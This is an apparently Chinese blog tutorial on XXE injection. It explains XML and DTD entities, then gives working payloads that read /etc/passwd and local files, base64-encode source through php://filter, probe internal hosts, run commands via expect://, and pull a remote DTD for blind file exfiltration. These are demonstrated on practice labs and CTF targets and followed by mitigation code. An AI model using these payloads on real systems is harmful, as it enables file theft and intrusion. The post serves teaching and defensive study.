• 39 WEB漏洞-XXE&XML之利用检测绕过全解


    文章分享:https://www.cnblogs.com/zhengna/p/15740341.html
    在这里插入图片描述
    XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害

    XML与HTML的主要差异
    XML 被设计为传输和存储数据,其焦点是数据的内容。
    HTML 被设计用来显示数据,其焦点是数据的外观。
    HTML 旨在显示信息,而 XML 旨在传输信息。

    <!--XML声明-->
    <?xml version="1.0"?>
    <!--文档类型定义-->
    <!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     
    <!ELEMENT from (#PCDATA)>   
    <!ELEMENT head (#PCDATA)>   
    <!ELEMENT body (#PCDATA)>   
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    #DTD
    文档类型定义(DTD)可定义合法的XML文档构建模块
    它使用一系列合法的元素来定义文档的结构
    DTD可被成行地声明于 XML 文档中,也可作为一个外部引用
    (1)内部的 DOCTYPE声明

    (2)外部文档声明

    #DTD实体
    (1)内部实体声明

    (2)外部实体声明

    (3)参数实体声明

    涉及案例

    pikachu靶场xml数据传输测试-回显、玩法、协议、引入

    在这里插入图片描述

    玩法-读文件

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "file:///d://test.txt">
    ]>
    <x>&xxe;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    玩法-内网探针或攻击内网应用(触发漏洞地址)

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo {
    <!ELEMENT foo ANY >
    <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
    >
    ]>
    <x>&rabbit;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    玩法-RCE

    该CASE是在安装expect扩展的PHP环境里执行系统命令

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
         <!ENTITY xxe SYSTEM "expect://id">
    ]>
    <x>&xxe;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    实战情况下,这种情况很难碰到,不能去执行命令

    引入外部实体dtd

    <?xml version="1.0" ?>
    <!DOCTYPE test [
         <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
         %file;
    ]>
    <x>&send;</x>
    evil2.dtd:
    <!ENTITY send SYSTEM "file:///d:/test.txt">
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    对方允许外部实体,那么它就可以去调用远程的实体去执行相关的攻击代码,这种类似于,我们在讲文件包含的时候,本地包含,远程包含的一个概念,这种引用外部实体dtd文件,其实就类似于远程包含漏洞的原理
    自定义的攻击代码,为了绕过一些远程防御的代码,因为对方有检测有防御软件的话,他会去跟踪用户行为,发现你正在对这个文件进行读取,他会拦截,或者在代码中分析到有关键的协议名,或者是观念的东西,可能会有拦截,这种时候就把你的核心代码放在上面,这个payload远程去请求并执行核心代码
    应用场景在于绕过和进行自定义攻击,要攻击的时候,改dtd文件就可以了

    无回显-读取文件

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
    <!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
    %dtd;
    %send;
    ]>
    
    test.dtd:
    <!ENTITY % payload
        ""
    >
    %payload;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    没有回显,我们就不知道你读的内容,那这个攻击就没有什么意义了
    file变量读取指定内容,读到之后会复制给file,执行dtd里面的代码

    协议-读文件(绕过)

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
    ]>
    <x>&f;</x>
    
    • 1
    • 2
    • 3
    • 4

    网上有很多字典关于xxe攻击的payload

    xxe-lab靶场登陆框xml数据传输测试-检测发现

    1.提交的数据包含XML格式如:
    admin
    2.请求头中如:

    Content-Type: text/xml或Content-type:application/xml
    
    <?xml version="1.0"?>
    <!DOCTYPE Mikasa [
    <!ENTITY test SYSTEM "file:///d:/test.txt">
    ]>
    <user><username>&test;</username><password>Mikasa</password><
    /user>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    xxe扫描工具网上也有,但是效果我没有尝试

    主要是通过爬行的数据包,用BP抓包,并且在bp上面有爬行数据包的功能,我们可以让bp帮我们爬取整个网站,把地址请求都爬一遍,爬完之后,可以在每个数据包里面进行批量搜索,搜索Content-Type值的判断,如果在这个数值里面,发现有text/xml或者application/xml,表示后面接上的数据,都是xml的格式语言的数据传递,这个时候是符合xml语言的接收,这个时候就能够进行尝试漏洞
    根据传输数据的格式,这个格式的写法就是典型的xml语言代码的写法
    盲猜,没有并不代表接收,他可能在代码当中是正常显示,只是说这个数据包没有正常显示,这个时候你就能够去尝试更改类型,更改为text/xml或着application/xml其中的一种,再把攻击语句写到数据那里,实现对它测试有没有xxe漏洞,这就是根据人工方法去测试有没有漏洞,是否存在的常规操作
    在这里插入图片描述
    对网站进行爬取
    在这里插入图片描述
    这种写法就是典型的xml写法,他是符合测试xxe漏洞存在的,这个时候,我们对它进行攻击,直接把payload复制上去就可以了
    找到符合漏洞存在的数据包,我们在提交数据这里,提交自身的payload进行攻击
    在这里插入图片描述
    他这种提交数据给到上面之后,他的数据传输形式采用的是json的形式提交的,这种就是盲猜了,猜你有没有,我们直接修改Content-Type类型,因为数据包你不修改这个类型的话,传输数据的时候,这个写法就不识别了

    CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

    http://web.jarvisoj.com:9882/
    更改请求数据格式:application/xml

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
         <!ENTITY f SYSTEM "file:///etc/passwd">
    ]>
    <x>&f;</x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    把数据格式换成payload的格式,之前讲的方法是先判断他符不符合xml的格式,符合,我们在确定他有没有这个漏洞,所以这两个概念是不一样的
    更改数据包来实现xxe漏洞的盲猜

    xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

    XXEinjector使用方法:https://www.cnblogs.com/bmjoker/p/9614990.html
    XXEinjector检测工具:https://github.com/enjoiz/XXEinjector
    https://www.cnblogs.com/bmjokex/p/9614990.html
    xxe_payload_fuzz
    从发现目标地址到目标的资产收集,对目标的资产信息进行攻击,找到对应的漏洞来实现一步步的操作

    CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

    扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag

    <?xml version="1.0" ?>
    <!DOCTYPE r [
    <!ELEMENT Y ANY >
    <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
    ]>
    <root><name>&sp;</name><password>hj</password></root>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    靶机综合难度来说还是有一些的,他不会像发现漏洞、利用漏洞就完了,他中间会给你绕一下

    xxe漏洞修复与防御方案-php,java,python-过滤及禁用

    #方案1-禁用外部实体
    PHP:
    libxml_disable_entity_loader(true);

    JAVA:
    DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

    Python:
    from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))

    #方案2-过滤用户提的XML数据
    过滤关键词:

    XXE漏洞产生的根本原因就是网站有接收xml数据,xml其实就是语言,网站有接收xml的数据,但是它没有进行过滤,所以我们可以让他接收xml的一些代码,这个代码就是执行文件读取这个操作的,他其实从我们讲的注入里面,json注入,反序列化,都是一种数据的格式问题

  • 相关阅读:
    应对数据安全典型薄弱点,这家医院“外防内控”筑牢屏障
    C++之旅(学习笔记)第6章 基本操作
    了解基于Elasticsearch 的站内搜索,及其替代方案
    蓝队视角下的防御体系怎样进行突破
    RabbitMQ:发布订阅和路由模式
    pdf怎么加密码?pdf怎么设置密码?
    向优秀的人学习
    【阿里云】任务2-OSS对象存储教程(找我参加活动可获得京东卡奖励)
    【音视频笔记】Mediacodec+Muxer生成mp4,浏览器无法播放问题处理
    Java的类加载过程
  • 原文地址:https://blog.csdn.net/m0_53008479/article/details/133929025